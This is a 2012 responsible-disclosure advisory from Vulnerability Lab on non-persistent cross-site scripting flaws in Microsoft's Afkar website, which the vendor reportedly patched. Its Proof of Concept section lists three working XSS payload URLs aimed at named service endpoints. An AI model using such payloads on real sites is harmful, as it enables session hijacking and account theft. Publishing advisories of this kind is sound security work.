Microsoft AFKAR Website Service Cross Site Scripting

`Title:  
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Microsoft AFKAR Website Service - Cross Site Vulnerabilities  
  
  
Date:  
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2012-04-14  
  
  
References:  
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http://www.vulnerability-lab.com/get_content.php?id=4797  
  
MSRC ID: 12328nj  
  
  
VL-ID:  
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479  
  
  
Introduction:  
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Afkar is an Arabic word that means “ideas”. Microsoft Afkar gives Arabic users from all over the world the chance to play  
with cool new tools and ideas coming out of Cairo Microsoft Innovation Lab.   
  
(Copy of the Vendor Homepage: http://afkar.microsoft.com )  
  
  
  
Abstract:  
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A Vulnerability Laboratory Researcher discovered multiple non-persistent Cross Site Scripting Vulnerabilities on Microsofts Afkar Website.  
  
  
Report-Timeline:  
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2012-03-24: Vendor Notification  
2012-03-26: Vendor Response/Feedback  
2012-04-08: Vendor Fix/Patch   
2012-04-14: Public or Non-Public Disclosure  
  
  
Status:  
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Published  
  
  
Exploitation-Technique:  
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Remote  
  
  
Severity:  
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Low  
  
  
Details:  
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Multiple client side cross site scripting vulnerabilities are detected on Microsofts Afkar Service Website.  
The vulnerability allows an attacker (remote) to hijack customer/moderator/admin sessions with medium required user inter   
action. Successful exploitation can result in account steal or client side context manipulation when processing affected module  
application requests.  
  
Vulnerable Module(s):   
[+] autocompleterservice  
[+] transliterateservice  
[+] getprayers  
  
  
Proof of Concept:  
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The vulnerabilities cna be exploited by remote attacker with medium required user inter aciton. For demonstration or reproduce ...  
  
  
http://afkar.microsoft.com:80/autocompleteservice/services/autocompleterservice.svc/autocomplete?languageName=  
Arabic&query=1<body+onload=alert("vlabs")>&count=5&callback=Activate&rosterIndex=0&guid=noguidyet  
  
  
http://afkar.microsoft.com:80/webmarenservice/services/transliterateservice.svc/transliterate?languageName=  
Arabic&query=a&count=5&callback=Activate&rosterIndex=1&guid=<meta+http-equiv='Set-cookie'+content='cookiename=  
cookievalue'>&[email protected]&[email protected]  
  
  
http://afkar.microsoft.com/answers/getprayers?q=1'+style='background:url(JaVaScRiPt:alert(/vulnerable/))'+invalidparam='  
  
  
Risk:  
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The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+).  
  
  
Credits:  
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Vulnerability Research Laboratory - Mohd. Shadab Siddiqui (gr4yf0x)  
  
  
  
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